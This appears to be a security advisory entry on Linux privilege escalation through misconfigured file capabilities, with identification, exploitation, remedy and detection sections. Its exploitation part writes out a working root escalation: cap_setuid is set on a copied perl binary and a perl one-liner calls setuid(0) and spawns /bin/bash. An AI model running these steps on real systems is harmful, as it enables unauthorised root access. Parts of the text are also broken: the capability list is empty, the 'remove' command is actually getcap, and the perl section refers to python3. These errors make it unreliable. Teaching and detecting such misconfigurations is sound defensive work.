Description
In Linux, “capabilities” refer to the fine-grained access control mechanism that grants processes or programs specific privileges beyond those of a regular user. Traditionally, in Unix-like systems, privileges were managed through the setuid mechanism, where a program would temporarily assume the privileges of its owner when executed.
Capabilities were introduced to provide a more granular approach to privilege management, allowing processes to have only the specific privileges they need to perform their tasks, rather than having to grant them full superuser (root) privileges via setuid.
Before capabilities, we only had the binary system of privileged and non-privileged processes and for the purpose of performing permission checks, traditional UNIX implementations distinguish two categories of processes: privileged processes that referred as superuser or root and unprivileged processes (whose effective UID is nonzero).
Capabilities are those permissions that divide the privileges of kernel user or kernel level programs into small pieces so that a process can be allowed sufficient power to perform specific privileged tasks.
Some common capabilities include
These capabilities can be granted to executable files via file system attributes or via user/group privileges. Capabilities can be managed using commands like getcap and setcap in Linux.
Uses of capabilities
Limited user’s permission: Giving away too many privileges by default will result in unauthorized changes of data, backdoors and circumventing access controls, just to name a few. So to overcome this situation we can simply use the capability to limited user’s permission.
Using a fine-grained set of privileges: Suppose a web server normally runs at port 80 and we also know that we need root permissions to start listening on one of the lower ports (<1024). This web server daemon needs to be able to listen to port 80. Instead of giving this daemon all root permissions, we can set a capability on the related binary, like CAP_NET_BIND_SERVICE. With this specific capability, it can open up port 80 in a much easier way.
Working with capability
The operation of capabilities can be achieved in many ways. Some of them are listed below:
Assigning and removing capability: They are usually set on executable files and are automatically granted to the process when a file with a capability is executed. The file capability sets are stored in an extended attribute named as security.capability. This can be done by the use of attribute CAP_SETCAP capability.
To enable the capability for any file frame command as shown below:
- setcap cap_setuid+ep /home/demo/python3
Similarly, one can also remove file capability by as below mentioned command.
- getcap -r / 2>/dev/null
Affected products
Misconfigured Linux Operating Systems
Identification
In order to identify capabilities, we can run
- getcap -r / 2> /dev/null
LinPEAS
LinPEAS script can also help us identify suspicious capabilities
- ./LinPEAS.sh
Exploitation
Perl Capability
We have another example “perl” which is same as above where the admin supposed to used capabilities, for the perl program that should be executed by specific user let’s say for user “demo”. This can be accomplished with following commands on the host machine.
- which perl
- cp /usr/bin/perl /home/demo/
- setcap cap_setuid+ep /home/demo/perl
As a result, the user demo received the privilege to run the python3 program as root because here admin has upraised the privilege by using cap_setuid+ep which means all privilege is assigned to the user for that program.
Exploiting capability using perl
Repeat above step for exploit perl program to escalate the root privilege:
- getcap -r / 2>/dev/null
- pwd
- ls -al perl
- ./perl -e ‘use POSIX (setuid); POSIX::setuid(0); exec “/bin/bash”;’
- id
Remedy
Use least privilege principles, and, confirm that no capabilities privileges are assigned to exploitable binaries.
Detection
Audit Logs (auditd):
audit.log: Contains detailed records of system calls and actions performed by users and processes. Look for entries related to capability-related system calls, such as capset, setuid, setgid, etc.
System Logs (syslog):
syslog, messages: These logs contain general system activity, including errors, warnings, and informational messages. Look for any unusual or suspicious activity related to capability changes or privilege escalation attempts.
Kernel Logs:
kern.log or dmesg: Contains kernel-level messages, including errors and warnings. Monitor for any kernel-level events related to capabilities, such as loading or unloading of kernel modules (CAP_SYS_MODULE), changes to system time (CAP_SYS_TIME), etc.
File System Logs:
audit.log, syslog, or distribution-specific logs: Monitor file system events, such as changes to file permissions or ownership, which may indicate tampering with files related to capabilities management (CAP_CHOWN, CAP_DAC_OVERRIDE, etc.).
Process Execution Logs:
audit.log, syslog, or process-specific logs: Track process execution events and command-line arguments to identify suspicious processes attempting to escalate privileges or perform actions beyond their normal scope (CAP_SYS_PTRACE, CAP_SYS_ADMIN, etc.).
Network Logs:
Firewall logs, packet capture logs, or network device logs: Look for network activity originating from processes with elevated capabilities (CAP_NET_RAW, CAP_NET_ADMIN, etc.), which may indicate attempts to exploit network-related capabilities.
References
https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
https://mn3m.info/posts/suid-vs-capabilities/
http://man7.org/linux/man-pages/man2/getxattr.2.html
http://unixetc.co.uk/2016/05/30/linux-capabilities-and-ping/
Source code linux/capability.h
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities
https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux
https://linux-audit.com/linux-capabilities-101/
https://www.linuxjournal.com/article/5737
https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module
https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot